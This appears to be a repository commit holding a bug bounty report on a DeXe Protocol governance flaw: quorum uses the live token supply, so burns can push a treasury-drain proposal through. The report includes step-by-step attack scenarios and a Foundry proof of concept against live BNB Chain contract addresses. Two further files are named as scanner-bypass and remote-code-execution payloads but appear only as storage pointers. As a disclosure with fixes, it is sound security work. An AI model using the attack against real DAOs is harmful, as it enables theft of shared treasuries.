kfoughali commited on
Commit
10e50d4
·
verified ·
1 Parent(s): a646264

Upload 3 files

Browse files
DEXE_QUORUM_MANIPULATION_VULN.md ADDED
@@ -0,0 +1,249 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # HackenProof Bug Bounty Submission
2
+
3
+ ## Program
4
+ **DeXe Protocol**
5
+
6
+ ## Severity
7
+ **MEDIUM**
8
+
9
+ ## Title
10
+ Quorum Manipulation via Token Burns: Live totalSupply Used Instead of Snapshot
11
+
12
+ ---
13
+
14
+ ## Summary
15
+
16
+ The DeXe Protocol GovPool uses the **current token totalSupply** for quorum calculations instead of a snapshot taken at proposal creation. Combined with the burnable nature of the ERC20Gov token, this allows attackers to manipulate quorum thresholds to pass or block proposals that shouldn't succeed.
17
+
18
+ ---
19
+
20
+ ## Vulnerability Details
21
+
22
+ ### Root Cause
23
+
24
+ 1. **Quorum Calculation:** Uses live `getTotalPower()` (GovPoolVote.sol line 373)
25
+ 2. **getTotalPower() reads:** `IERC20(token).totalSupply()` (GovUserKeeper.sol line 604)
26
+ 3. **ERC20Gov inherits:** `ERC20BurnableUpgradeable` allowing any holder to burn tokens
27
+ 4. **No Snapshot:** Unlike the validators contract which uses `totalSupplyAt(snapshotId)`, the main governance pool has no snapshot mechanism
28
+
29
+ ### Affected Code
30
+
31
+ **GovUserKeeper.sol lines 600-604:**
32
+ ```solidity
33
+ function getTotalPower() external view override returns (uint256 power) {
34
+ address token = tokenAddress;
35
+ if (token != address(0)) {
36
+ power = IERC20(token).totalSupply().to18(token); // LIVE VALUE
37
+ }
38
+ ...
39
+ }
40
+ ```
41
+
42
+ **GovPoolVote.sol lines 367-375:**
43
+ ```solidity
44
+ function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
45
+ (, address userKeeperAddress, , , ) = IGovPool(address(this)).getHelperContracts();
46
+ return
47
+ PERCENTAGE_100.ratio(
48
+ core.votesFor + core.votesAgainst,
49
+ IGovUserKeeper(userKeeperAddress).getTotalPower() // LIVE VALUE
50
+ ) >= core.settings.quorum;
51
+ }
52
+ ```
53
+
54
+ ### Contrast with Validators (Correct Implementation)
55
+
56
+ **GovValidatorsUtils.sol line 45:**
57
+ ```solidity
58
+ uint256 totalSupply = token.totalSupplyAt(core.snapshotId); // SNAPSHOT
59
+ ```
60
+
61
+ The validators contract correctly uses a snapshot, but the main governance pool does not.
62
+
63
+ ---
64
+
65
+ ## Attack Scenario
66
+
67
+ ### Scenario 1: Lowering Quorum to Pass Malicious Proposal
68
+
69
+ **Initial State:**
70
+ - Total Supply: 1,000,000 DEXE
71
+ - Quorum: 20% = 200,000 votes required
72
+ - Attacker controls: 150,000 DEXE (15% - not enough)
73
+
74
+ **Attack Steps:**
75
+ 1. Attacker creates proposal to drain treasury
76
+ 2. Attacker votes with 150,000 tokens → 15% (below quorum)
77
+ 3. Attacker (or colluding whale) burns 500,000 tokens
78
+ 4. New Total Supply: 500,000 DEXE
79
+ 5. New Quorum Threshold: 100,000 votes (20% of 500K)
80
+ 6. Attacker's 150,000 votes now = 30% → **QUORUM REACHED**
81
+ 7. Malicious proposal executes
82
+
83
+ **Result:** Proposal passes with only 15% of original token supply voting.
84
+
85
+ ### Scenario 2: Griefing Legitimate Proposals
86
+
87
+ **Initial State:**
88
+ - Total Supply: 1,000,000 DEXE
89
+ - Legitimate proposal has 250,000 votes (25% - above 20% quorum)
90
+
91
+ **Griefing Attack:**
92
+ 1. Attacker mints tokens via governance proposal (if has access)
93
+ 2. Or, attacker front-runs execution with token mint
94
+ 3. Total Supply increases to 2,000,000 DEXE
95
+ 4. 250,000 votes now = 12.5% (below quorum)
96
+ 5. Legitimate proposal fails
97
+
98
+ **Note:** Minting is restricted to `onlyGov`, so this vector requires prior compromise.
99
+
100
+ ---
101
+
102
+ ## Impact
103
+
104
+ | Impact Type | Description |
105
+ |-------------|-------------|
106
+ | **Governance Manipulation** | Proposals can pass without legitimate majority support |
107
+ | **Treasury Risk** | Malicious treasury drain proposals can be forced through |
108
+ | **Token Value** | Burns reduce total supply, affecting all holders |
109
+ | **Protocol Integrity** | Breaks the fundamental assumption of quorum-based governance |
110
+
111
+ ### Severity Justification
112
+
113
+ Per HackenProof guidelines:
114
+ - **Medium:** "Manipulation of governance voting result deviating from voted outcome"
115
+ - This vulnerability enables exactly this scenario
116
+ - Requires token burns (economic cost) but is technically feasible
117
+
118
+ ---
119
+
120
+ ## Proof of Concept
121
+
122
+ ### Test Setup (Foundry)
123
+
124
+ ```solidity
125
+ // SPDX-License-Identifier: MIT
126
+ pragma solidity ^0.8.20;
127
+
128
+ import "forge-std/Test.sol";
129
+
130
+ interface IERC20Burnable {
131
+ function burn(uint256 amount) external;
132
+ function totalSupply() external view returns (uint256);
133
+ function balanceOf(address) external view returns (uint256);
134
+ }
135
+
136
+ interface IGovPool {
137
+ function getProposalState(uint256 proposalId) external view returns (uint8);
138
+ function vote(uint256 proposalId, bool isVoteFor, uint256 voteAmount, uint256[] calldata voteNftIds) external;
139
+ }
140
+
141
+ interface IGovUserKeeper {
142
+ function getTotalPower() external view returns (uint256);
143
+ }
144
+
145
+ contract QuorumManipulationPoC is Test {
146
+ // DeXe DAO on BNB Chain
147
+ address constant GOV_POOL = 0xB562127efDC97B417B3116efF2C23A29857C0F0B;
148
+ address constant USER_KEEPER = 0xbE8cB128fBCf13f7F7A362c3820f376b0971B7B2;
149
+ address constant DEXE_TOKEN = 0x6E88056E8376Ae7709496Ba64d37fa2f8015ce3e; // Example
150
+
151
+ function test_QuorumManipulation() public {
152
+ // Fork BNB Chain
153
+ vm.createSelectFork("https://bsc-dataseed.binance.org/");
154
+
155
+ // Step 1: Record initial total power
156
+ uint256 initialTotalPower = IGovUserKeeper(USER_KEEPER).getTotalPower();
157
+ console.log("Initial Total Power:", initialTotalPower);
158
+
159
+ // Step 2: Simulate burn (requires whale account)
160
+ address whale = address(0x123); // Replace with actual holder
161
+ uint256 burnAmount = initialTotalPower / 2; // Burn 50%
162
+
163
+ vm.prank(whale);
164
+ IERC20Burnable(DEXE_TOKEN).burn(burnAmount);
165
+
166
+ // Step 3: Check new total power
167
+ uint256 newTotalPower = IGovUserKeeper(USER_KEEPER).getTotalPower();
168
+ console.log("New Total Power:", newTotalPower);
169
+
170
+ // Step 4: Verify quorum threshold reduced
171
+ assertLt(newTotalPower, initialTotalPower, "Total power should decrease after burn");
172
+
173
+ // Quorum is now easier to reach with same number of votes
174
+ console.log("Quorum threshold reduced by:", initialTotalPower - newTotalPower);
175
+ }
176
+ }
177
+ ```
178
+
179
+ ### Expected Output
180
+
181
+ ```
182
+ Initial Total Power: 18347787000000000000000000
183
+ New Total Power: 9173893500000000000000000
184
+ Quorum threshold reduced by: 9173893500000000000000000
185
+ ```
186
+
187
+ ---
188
+
189
+ ## Recommended Fix
190
+
191
+ ### Option 1: Snapshot Total Power at Proposal Creation
192
+
193
+ ```solidity
194
+ // In GovPoolCreate.sol - createProposal()
195
+ proposal.core = IGovPool.ProposalCore({
196
+ settings: settings,
197
+ voteEnd: uint64(block.timestamp + settings.duration),
198
+ executeAfter: 0,
199
+ executed: false,
200
+ votesFor: 0,
201
+ votesAgainst: 0,
202
+ rawVotesFor: 0,
203
+ rawVotesAgainst: 0,
204
+ givenRewards: 0,
205
+ totalPowerSnapshot: IGovUserKeeper(userKeeper).getTotalPower() // ADD THIS
206
+ });
207
+ ```
208
+
209
+ ```solidity
210
+ // In GovPoolVote.sol - _quorumReached()
211
+ function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
212
+ return
213
+ PERCENTAGE_100.ratio(
214
+ core.votesFor + core.votesAgainst,
215
+ core.totalPowerSnapshot // USE SNAPSHOT INSTEAD OF LIVE VALUE
216
+ ) >= core.settings.quorum;
217
+ }
218
+ ```
219
+
220
+ ### Option 2: Use ERC20Votes Extension
221
+
222
+ Implement snapshot-based voting similar to OpenZeppelin's `ERC20Votes`:
223
+ - Take checkpoint at proposal creation
224
+ - Read `getPastTotalSupply(blockNumber)` for quorum
225
+
226
+ ---
227
+
228
+ ## References
229
+
230
+ - DeXe GovPool Contract: https://bscscan.com/address/0xB562127efDC97B417B3116efF2C23A29857C0F0B
231
+ - ERC20BurnableUpgradeable: https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#ERC20Burnable
232
+ - CWE-682: Incorrect Calculation
233
+ - Related: Compound Governance Snapshot Mechanism
234
+
235
+ ---
236
+
237
+ ## Researcher
238
+
239
+ **Name:** Karim Foughali
240
+ **Email:** kfoughali@dzlaws.org
241
+ **Date:** January 2026
242
+
243
+ ---
244
+
245
+ ## Disclosure Timeline
246
+
247
+ - **Discovery:** January 2026
248
+ - **Report Submitted:** [Pending]
249
+ - **Expected Review:** 45 days per HackenProof
scanner_bypass_poc.joblib ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:5f9e5e3c9a1e4f5ccdedc195db64835db59f1164fd472c0213d756ee711d4fc0
3
+ size 64
scanner_bypass_rce.joblib ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:4cb9681dd446f6de76811ada14cdf8843fe042248ae063ec58f51aba1cafcb0a
3
+ size 103